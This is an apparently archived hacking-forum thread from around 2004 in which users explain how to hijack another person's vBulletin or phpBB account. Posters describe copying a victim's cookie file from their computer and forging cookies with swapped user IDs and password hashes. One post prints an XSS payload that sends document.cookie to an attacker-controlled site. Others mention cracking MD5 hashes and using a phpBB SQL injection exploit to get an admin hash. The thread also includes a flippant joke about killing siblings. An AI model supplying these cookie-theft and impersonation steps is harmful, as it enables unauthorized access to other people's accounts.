hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

extreme
I am wondering, where are passwords for some board contained? VBulletin to be precised... They are not in the protected storage, so they must be in cookie or something.. Now, if I have access to someone computer, how would I transfer his cookie to my mashine in orther to get his username and password of that forum?? Or, how do I get in the forum using his cookies, then maybe I don't even have to know what is password?
saetji
Download cain. Firs thing it shows are all the stored passes in autocomplete wink.gif
next tab, press + for default pass, connection pass etc
extreme
Yes, but I said Prot. storage doesnt show anything.. And I don't wish to use keylogger..
I am specifically interested how to use his cookies on my comp..
nulladd
the cookie file would be called somthing like "username@site.com" in ur cookies directory - C:\Documents and Settings\username\Cookies

1. Get an app that can modify cookies
this is a nice free one but there are probly many others
http://members.lycos.co.uk/nirsoft1/utils/iecookies.html

2. copy the cookie file from victims computer (or use XSS)

3. change the username to urs (i think that should work) or
can modify ur own cookie (assuming u have logged in to the site)
simply substitute ur username, id and password hash for the ones contained in the other cookie file u have "aquired" - this method has been tested on invision, xmbforum and phpbb so VBulletin should be no different

Note:
if u have grabbed someone elses cookie it may have expired, but that is no problem cause u can change the expiration date as well from that nirsoft app


a cookie file could also be stolen using cross site scripting (XSS), eg:
CODE

<script>document.write('<iframe src="www.mybadsite.com/add.php?c="'+document.cookie()+'"></iframe>')</script>
that is a cut down version of one method i have seen where the cookie is sent to a script that adds it to a database
extreme
It won't work.. I don't know why.. I logged in with my username.. There was cookie created.. So without logging out, I modifyed my cookie, changed userID and Password.. Then I saved it and clicked refresh... Nothin.. I was still logged in, but with my username.. SO I checked cookie again to see if refresh have maybe returned old values(my userID), but no.. There was fakeID in there.. Then I logged out, and copyed modifyed cookie again, then retuned to site, but it said Please login..
I don't get it.. It seems like script is not reading my details from cookie at all..
nulladd
in IEcookiesview right click on the modified cookie and click "open web site"
also check if there r other values vbulltin has that u can substitute in (if any) and that the expiration date/time is greater than todays date/time
extreme
I will try it next time..
Now I just fired MD5 crack, and cracked the hash...
The irony was that I had to do it twice since my sister turned off my computer on 99% finished.. Don't you wanna kill them sometimes tongue.gif
niko
QUOTE (extreme @ Mar 29 2004, 08:35 AM)
It won't work.. I don't know why.. I logged in with my username.. There was cookie created.. So without logging out, I modifyed my cookie, changed userID and Password.. Then I saved it and clicked refresh... Nothin.. I was still logged in, but with my username.. SO I checked cookie again to see if refresh have maybe returned old values(my userID), but no.. There was fakeID in there.. Then I logged out, and copyed modifyed cookie again, then retuned to site, but it said Please login..
I don't get it.. It seems like script is not reading my details from cookie at all..

It's not a good idea to mod a cookie with notepad or the like. It's much better to fake the cookie completely with a small proxy like proxomitron or such. Or you can use "cookie editor" program, but I like proxy method better, because the cookie editor still restricts the cookie size to the originally set size. With proxy you can make the cookie into whatever you want, perfect for testing cookie SQL injections..... ph34r.gif

-niko
mrwhit3
is there some howto on how to do this i used the latest Phpbb 2.0.8 Sql Injection Exploit to get a hash form a phpbb foum but the hash is pretty secure ive been trying to crack it for about ahh 15 hrs with mdcrack so im looking at trying to edit a cookie of my own..i have the admin user name and also the hash
nulladd
QUOTE (mrwhit3 @ Mar 30 2004, 04:14 PM)
im looking at trying to edit a cookie of my own..i have the admin user name and also the hash

if u have that then u should have no probs using the above method
Yorn
QUOTE (extreme @ Mar 29 2004, 11:50 AM)
The irony was that I had to do it twice since my sister turned off my computer on 99% finished.. Don't you wanna kill them sometimes tongue.gif

Yeah, but then I did, and the media had a heyday with my life. So I haven't killed any of the other ones.

Yet.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.